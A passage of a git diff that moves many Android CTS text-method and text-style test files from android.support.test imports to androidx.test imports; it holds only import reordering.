import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
index 7057913..1618bba 100644
--- a/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
@@ -26,11 +26,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.Selection;
import android.text.Spannable;
@@ -46,6 +41,12 @@
import android.widget.TextView;
import android.widget.TextView.BufferType;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/method/cts/BackspaceTest.java b/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
index 0de7c6a..46f9582 100644
--- a/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
@@ -18,13 +18,14 @@
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.method.BaseKeyListener;
import android.view.KeyEvent;
import android.widget.TextView.BufferType;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
index 91618b9..df92bfd 100644
--- a/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
@@ -21,8 +21,6 @@
import static org.junit.Assert.assertTrue;
import android.os.SystemClock;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.InputType;
import android.text.Selection;
@@ -33,6 +31,9 @@
import android.view.KeyEvent;
import android.widget.TextView.BufferType;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
index d569b60..f98ffcc 100644
--- a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
@@ -27,11 +27,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Spannable;
import android.text.method.BaseMovementMethod;
import android.view.InputDevice;
@@ -43,6 +38,12 @@
import android.widget.FrameLayout;
import android.widget.TextView;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java b/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
index fda8469..32db8cc 100644
--- a/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
+++ b/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
@@ -21,16 +21,17 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.Selection;
import android.text.method.CharacterPickerDialog;
import android.view.View;
import android.widget.Gallery;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
index 16f632c..03675f2 100644
--- a/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
@@ -22,12 +22,13 @@
import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.assertSame;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.method.DateKeyListener;
import android.view.KeyEvent;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
index decd451..b1a0642 100644
--- a/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
@@ -22,13 +22,14 @@
import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.assertSame;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.method.DateTimeKeyListener;
import android.view.KeyCharacterMap;
import android.view.KeyEvent;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
index 7808824..b7bb93e 100644
--- a/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
@@ -22,14 +22,15 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.Spannable;
import android.text.SpannableString;
import android.text.method.DialerKeyListener;
import android.view.KeyEvent;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
index 7854268..7f56388 100644
--- a/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
@@ -24,8 +24,6 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.Spannable;
import android.text.SpannableString;
@@ -33,6 +31,9 @@
import android.text.method.DigitsKeyListener;
import android.view.KeyEvent;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java b/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
index bf56cb8..8598582 100644
--- a/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
@@ -18,13 +18,14 @@
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.method.BaseKeyListener;
import android.view.KeyEvent;
import android.widget.TextView.BufferType;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
index df48458..f3fff71 100644
--- a/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
@@ -20,10 +20,11 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertSame;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.method.HideReturnsTransformationMethod;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java b/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
index 36f92e2..9340957 100644
--- a/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
+++ b/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
@@ -23,14 +23,15 @@
import android.content.ContentResolver;
import android.content.Context;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
import android.text.cts.R;
import android.text.method.KeyListener;
import android.util.Log;
import android.view.KeyEvent;
import android.widget.EditText;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
index 069b274..02b7e95 100644
--- a/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
@@ -30,11 +30,6 @@
import android.app.Activity;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Selection;
import android.text.Spannable;
import android.text.SpannableString;
@@ -49,6 +44,12 @@
import android.widget.TextView;
import android.widget.TextView.BufferType;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
index f1dd4d9..724d895 100644
--- a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
@@ -25,8 +25,6 @@
import static org.mockito.Mockito.spy;
import static org.mockito.Mockito.verify;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.Selection;
import android.text.Spannable;
@@ -38,6 +36,9 @@
import android.view.View;
import android.widget.ImageView;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
index 206c6a5..06080ba 100644
--- a/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
@@ -28,8 +28,6 @@
import static org.mockito.Mockito.spy;
import static org.mockito.Mockito.verify;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.Selection;
import android.text.Spannable;
@@ -39,6 +37,9 @@
import android.view.KeyEvent;
import android.widget.TextView.BufferType;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
index c4a7944..2455e3f 100644
--- a/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
@@ -22,8 +22,6 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Selection;
import android.text.Spannable;
import android.text.SpannableString;
@@ -32,6 +30,9 @@
import android.view.KeyEvent;
import android.widget.TextView.BufferType;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
index bb4ffb6..22315dd 100644
--- a/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
@@ -33,10 +33,6 @@
import android.os.ParcelFileDescriptor;
import android.provider.Settings.SettingNotFoundException;
import android.provider.Settings.System;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.method.PasswordTransformationMethod;
import android.util.TypedValue;
import android.view.KeyCharacterMap;
@@ -45,6 +41,11 @@
import android.widget.LinearLayout;
import android.widget.LinearLayout.LayoutParams;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
index c527257..9fe16ec 100644
--- a/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
@@ -21,8 +21,6 @@
import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.assertSame;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.Selection;
import android.text.Spannable;
@@ -32,6 +30,9 @@
import android.view.KeyEvent;
import android.widget.TextView.BufferType;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
index e75271e..d82bbf7 100644
--- a/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
@@ -19,14 +19,15 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.method.ReplacementTransformationMethod;
import android.util.TypedValue;
import android.widget.EditText;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
index 32c6e5e..e19dfe8 100644
--- a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
@@ -26,11 +26,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
import android.text.Spannable;
import android.text.SpannableString;
@@ -46,6 +41,12 @@
import android.widget.TextView;
import android.widget.TextView.BufferType;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
index ad622d0..a48df12 100644
--- a/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
@@ -21,10 +21,6 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertSame;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
import android.text.SpannableString;
import android.text.Spanned;
@@ -33,6 +29,11 @@
import android.util.TypedValue;
import android.widget.EditText;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
index 7851ded..989a1bc 100644
--- a/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
@@ -31,8 +31,6 @@
import static org.mockito.Mockito.verify;
import android.os.SystemClock;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.test.UiThreadTest;
import android.text.Editable;
import android.text.InputType;
@@ -45,6 +43,9 @@
import android.view.KeyEvent;
import android.widget.TextView.BufferType;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
index a887a19..f5e097f 100644
--- a/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
@@ -22,13 +22,14 @@
import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.assertSame;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.method.TimeKeyListener;
import android.view.KeyCharacterMap;
import android.view.KeyEvent;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/TouchTest.java b/tests/tests/text/src/android/text/method/cts/TouchTest.java
index 140dfa02..fd078fb 100644
--- a/tests/tests/text/src/android/text/method/cts/TouchTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TouchTest.java
@@ -22,11 +22,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
import android.text.SpannableString;
import android.text.TextPaint;
@@ -37,6 +32,12 @@
import android.view.ViewGroup;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java
index d67fc59..3fd1448 100644
--- a/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java
@@ -29,16 +29,17 @@
import static org.mockito.Mockito.when;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.method.TransformationMethod;
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.LinearLayout.LayoutParams;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java b/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
index ac04619..a221ae9 100644
--- a/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
@@ -20,11 +20,12 @@
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.AbsoluteSizeSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
index 78bcd6a..6cdbc27 100644
--- a/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertEquals;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout.Alignment;
import android.text.style.AlignmentSpan.Standard;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java b/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
index 2724dfe..31ad04e 100644
--- a/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
@@ -20,11 +20,12 @@
import android.graphics.Color;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.BackgroundColorSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java b/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
index b6f7eed..bba3161 100644
--- a/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
@@ -23,12 +23,13 @@
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Html;
import android.text.Spanned;
import android.text.style.BulletSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java b/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
index 791f362..98679ee 100644
--- a/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
+++ b/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
@@ -21,13 +21,14 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.CharacterStyle;
import android.text.style.MetricAffectingSpan;
import android.text.style.SuperscriptSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java b/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
index a00a28d..1b62a30 100644
--- a/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
@@ -21,12 +21,13 @@
import static org.junit.Assert.assertTrue;
import android.graphics.Color;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.ClickableSpan;
import android.view.View;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java b/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
index 4ccf3bd..e690996 100644
--- a/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
@@ -23,9 +23,6 @@
import android.graphics.Canvas;
import android.graphics.Paint.FontMetricsInt;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Html;
import android.text.Layout;
import android.text.Spanned;
@@ -34,6 +31,10 @@
import android.text.cts.R;
import android.text.style.DrawableMarginSpan;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java b/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
index 5ad529b..ef32e44 100644
--- a/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
@@ -22,12 +22,13 @@
import android.graphics.Paint.FontMetricsInt;
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.cts.R;
import android.text.style.DynamicDrawableSpan;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
index 831ce09..6d59b6e 100644
--- a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
@@ -19,11 +19,12 @@
import android.app.PendingIntent;
import android.content.Intent;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.style.EasyEditSpan;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java b/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
index a259065..3e2c757 100644
--- a/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
@@ -20,11 +20,12 @@
import android.graphics.Color;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.ForegroundColorSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java b/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
index 3ee2564..babaaef 100644
--- a/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
@@ -22,8 +22,6 @@
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Paint.FontMetricsInt;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Html;
import android.text.Layout;
import android.text.Spanned;
@@ -31,6 +29,9 @@
